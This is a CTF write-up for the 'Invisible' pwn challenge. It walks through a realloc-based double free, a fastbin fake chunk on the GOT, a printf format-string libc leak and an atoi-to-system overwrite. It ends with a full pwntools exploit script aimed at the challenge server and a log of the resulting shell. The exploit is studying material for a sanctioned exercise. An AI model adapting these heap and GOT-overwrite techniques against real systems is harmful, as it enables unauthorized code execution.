Rating:

# Invisible
by mito

## 17 Solves, 217pt

Since the Edit function used `realloc()`, we can call free by specifying `size 0`.

```
int __fastcall edit(__int64 a1, __int64 a2, __int64 a3)
{
unsigned __int16 v4; // [rsp+Ch] [rbp-4h]
unsigned __int16 v5; // [rsp+Eh] [rbp-2h]

v4 = readint("index: ");
if ( v4 > 1u )
return puts("[-] edit: error");
if ( !ptr[v4] )
return puts("[-] edit: error");
v5 = readint("size: ");
if ( v5 > 0x78u || !realloc((void *)ptr[v4], v5) )
return puts("[-] edit: error");
*(_BYTE *)(ptr[v4] + (unsigned __int16)readline("data: ", (void *)ptr[v4], (unsigned int)v5 - 1)) = 0;
return puts("[+] edit: done");
}
```

We can make a `double-free` state with the following code

```
New(0, 0x60, "A"*0x10)
New(1, 0x60, "B"*0x10)
Edit2(0, 0)
Delete(1)
Delete(0)
```

```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603000 —▸ 0x603070 ◂— 0x603000
0x80: 0x0
```

Furthermore, we can consume chunks of fastbin by changing the size with the Edit function.

```
New(0, 0x60, p64(0x60202d))

New(1, 0x60, "C"*0x10)
Edit(1, 0x70, "c")
Delete(1)
New(1, 0x60, "D"*0x10)
Edit(1, 0x20, "d")
Delete(1)
```

```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x603000 ◂— 0x0
0x40: 0x603030 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x60202d (_GLOBAL_OFFSET_TABLE_+45) ◂— 0xfff7ad920000007f
0x80: 0x603070 ◂— 0x0
```

Printf() address of libc-2.23.so can be used as fake chunk of size 0x7f, because the least significant byte of` prinf` is `null`.

```
pwndbg> x/40gx 0x602000
0x602000: 0x0000000000601e20 0x00007ffff7ffe168
0x602010: 0x00007ffff7dee870 0x00007ffff7a914f0
0x602020: 0x00007ffff7a7c690 0x0000000000400756
0x602030: 0x00007ffff7a96ab0 0x00007ffff7a62800 <-- printf
0x602040: 0x00007ffff7ad9200 0x00007ffff7b04250
0x602050: 0x00007ffff7a423c0 0x00007ffff7a91130
0x602060: 0x00007ffff7a916c0 0x00007ffff7a7ce70
0x602070: 0x00007ffff7a43e80 0x00000000004007f6
0x602080: 0x0000000000000000 0x0000000000000000

pwndbg> x/40gx 0x60200d
0x60200d: 0xfff7dee87000007f 0xfff7a914f000007f
0x60201d: 0xfff7a7c69000007f 0x000040075600007f
0x60202d: 0xfff7a96ab0000000 0xfff7a6280000007f <-- 0x0000007f
0x60203d: 0xfff7ad920000007f 0xfff7b0425000007f
0x60204d: 0xfff7a423c000007f 0xfff7a9113000007f
0x60205d: 0xfff7a916c000007f 0xfff7a7ce7000007f
0x60206d: 0xfff7a43e8000007f 0x00004007f600007f
0x60207d: 0x0000000000000000 0x0000000000000000
```

We can use the fake chunk at `0x60202d`. We can overwrite GOT from read() to exit() function.

```
buf = "\x7f\x00\x00"
buf += p64(elf.sym['alarm']+6)
buf += p64(elf.sym['read']+6)
buf += p64(elf.sym['signal']+6)
buf += p64(elf.sym['malloc']+6)
buf += p64(0x40071e) # realloc => ret
buf += p64(elf.sym['setvbuf']+6)
buf += p64(elf.sym['printf']+6) # atoi => printf
New(1, 0x60, buf)
```

```
pwndbg> x/80gx 0x602000
0x602000: 0x0000000000601e20 0x00007ffff7ffe168
0x602010: 0x00007ffff7dee870 0x00007ffff7a914f0
0x602020: 0x00007ffff7a7c690 0x0000000000400756
0x602030: 0x00007ffff7a96ab0 0x00007ffff7a62800
0x602040: 0x0000000000400786 0x00007ffff7b04250
0x602050: 0x00000000004007a6 0x00000000004007b6
0x602060: 0x000000000040071e 0x00000000004007d6
0x602070: 0x0000000000400776 0x0000000000400700
```

Rewriting `atoi` function to `printf` function enables libc leak.

```
s.sendlineafter("> ", "1")
s.sendlineafter(": ", "%3$p")

r = s.recvuntil("[")[:-1]
libc_leak = int(r, 16)
libc_base = libc_leak - 0xf7260
system_addr = libc_base + libc.symbols['system']
```

Finally, we can start the shell by rewriting the `atoi` function to the `system` function.

```
buf = "\x7f\x00\x00"
buf += p64(elf.sym['alarm']+6)
buf += p64(elf.sym['read']+6)
buf += p64(elf.sym['signal']+6)
buf += p64(elf.sym['malloc']+6)
buf += p64(0x40071e) # realloc => ret
buf += p64(elf.sym['setvbuf']+6)
buf += p64(system_addr)
Edit1("%96c", buf)
```

```
pwndbg> x/80gx 0x602000
0x602000: 0x0000000000601e20 0x00007ffff7ffe168
0x602010: 0x00007ffff7dee870 0x00007ffff7a914f0
0x602020: 0x00007ffff7a7c690 0x0000000000400756
0x602030: 0x00007ffff7a96ab0 0x00007ffff7a62800
0x602040: 0x0000000000400786 0x00007ffff7b04250
0x602050: 0x00000000004007a6 0x00000000004007b6
0x602060: 0x000000000040071e 0x00000000004007d6
0x602070: 0x00007ffff7a52390 0x0000000000400700 ◂— 0x00007ffff7a52390 is system address
```

Exploit code is below.

```
from pwn import *

#context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = './chall'
elf = ELF(BINARY)

if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "69.172.229.147"
PORT = 9003
s = remote(HOST, PORT)
libc = ELF("./libc-2.23.so")
else:
s = process(BINARY)
#s = process(BINARY, env={'LD_PRELOAD': './libc.so.6'})
libc = elf.libc

def New(index, size, data):
s.sendlineafter("> ", "1")
s.sendlineafter(": ", str(index))
s.sendlineafter(": ", str(size))
s.sendafter(": ", data)

def Edit(index, size, data):
s.sendlineafter("> ", "2")
s.sendlineafter(": ", str(index))
s.sendlineafter(": ", str(size))
s.sendafter(": ", data)

def Edit1(size, data):
s.sendlineafter("> ", "22")
s.sendlineafter(": ", "1")
s.sendlineafter(": ", size)
s.sendafter(": ", data)

def Edit2(index, size):
s.sendlineafter("> ", "2")
s.sendlineafter(": ", str(index))
s.sendlineafter(": ", str(size))

def Delete(index):
s.sendlineafter("> ", "3")
s.sendlineafter(": ", str(index))

New(0, 0x60, "A"*0x10)
New(1, 0x60, "B"*0x10)

# Double Free
Edit2(0, 0)
Delete(1)
Delete(0)

New(0, 0x60, p64(0x60202d))

# use fastbin 2 times
New(1, 0x60, "C"*0x10)
Edit(1, 0x70, "c")
Delete(1)

New(1, 0x60, "D"*0x10)
Edit(1, 0x20, "d")
Delete(1)

# GOT overwrite
# printf GOT : LSB is null
# 0x00007ffff7a62800
buf = "\x7f\x00\x00"
buf += p64(elf.sym['alarm']+6)
buf += p64(elf.sym['read']+6)
buf += p64(elf.sym['signal']+6)
buf += p64(elf.sym['malloc']+6)
buf += p64(0x40071e) # realloc => ret
buf += p64(elf.sym['setvbuf']+6)
buf += p64(elf.sym['printf']+6) # atoi => printf
New(1, 0x60, buf)

# libc leak
s.sendlineafter("> ", "1")
s.sendlineafter(": ", "%3$p")

r = s.recvuntil("[")[:-1]
libc_leak = int(r, 16)
libc_base = libc_leak - 0xf7260
system_addr = libc_base + libc.symbols['system']

print "libc_leak =", hex(libc_leak)
print "libc_base =", hex(libc_base)
print "system_addr =", hex(system_addr)

buf = "\x7f\x00\x00"
buf += p64(elf.sym['alarm']+6)
buf += p64(elf.sym['read']+6)
buf += p64(elf.sym['signal']+6)
buf += p64(elf.sym['malloc']+6)
buf += p64(0x40071e) # realloc => ret
buf += p64(elf.sym['setvbuf']+6)
buf += p64(system_addr)
Edit1("%96c", buf)

# start /bin/sh
s.sendlineafter("> ", "/bin/sh\x00")

s.interactive()

'''
$ python exploit.py r
libc_leak = 0x7f13f420f260
libc_base = 0x7f13f4118000
system_addr = 0x7f13f415d390
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ASIS{l0ngl0ng-tr4v3l-2-s33k-7h3-l34k}
'''
```

Thank you for a good challenge.